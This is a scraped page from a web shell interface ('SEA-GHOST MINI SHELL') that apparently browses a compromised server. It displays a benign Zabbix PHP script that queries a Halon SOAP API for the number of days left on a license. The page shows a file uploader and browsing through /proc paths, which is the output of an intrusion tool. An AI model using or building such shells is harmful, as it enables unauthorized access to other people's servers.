[ SEA-GHOST MINI SHELL]

Path : /proc/2/root/var/lib/zabbix/
FILE UPLOADER :
Current File : //proc/2/root/var/lib/zabbix/license_expire_mail.php

#!/usr/bin/env php
<?php

$param = getopt("u:h:p:");

if ( count($param) != '3' ) {
        echo "You must passed only 3 argumets: host(-h),username(-u),password(-p)";
        exit(1);
}

$client = new SoapClient('https://' . $param["h"] . '/remote/?wsdl',array(
        'features' => SOAP_SINGLE_ELEMENT_ARRAYS,
        'location' => 'https://' . $param["h"] . '/remote/',
        'uri' => 'urn:halon',
        'login' => $param["u"],
        'password' => $param["p"]
        ));

$result = $client->licenseExport()->result->item;

$license = 0;
$convert_format = 86400;
foreach ($result as $i) {
    if ($i->first == 'subscription-commercial') {
        $license = $i->second;
    }
}

echo (int)($license / $convert_format); // Time left (in days)
?>


SEA-GHOST - SHELL CODING BY SEA-GHOST